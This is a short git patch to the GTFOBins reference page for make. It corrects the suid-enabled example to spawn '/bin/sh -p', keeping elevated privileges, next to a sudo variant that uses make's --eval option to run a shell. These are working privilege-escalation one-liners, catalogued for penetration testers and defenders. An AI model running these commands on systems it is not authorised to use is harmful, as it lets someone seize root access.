From b2731c2c91594b13c3ed967dad740b8cef88c140 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 4 Jun 2018 19:13:16 +0200 Subject: [PATCH] Fix make suid shell --- _gtfobins/make.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/make.md b/_gtfobins/make.md index c5ab66a..0987aa1 100644 --- a/_gtfobins/make.md +++ b/_gtfobins/make.md @@ -24,7 +24,7 @@ functions: sudo make -s --eval=$'x:\n\t-'"$COMMAND" suid-enabled: - code: | - COMMAND='/bin/sh' + COMMAND='/bin/sh -p' ./make -s --eval=$'x:\n\t-'"$COMMAND" file-write: - code: |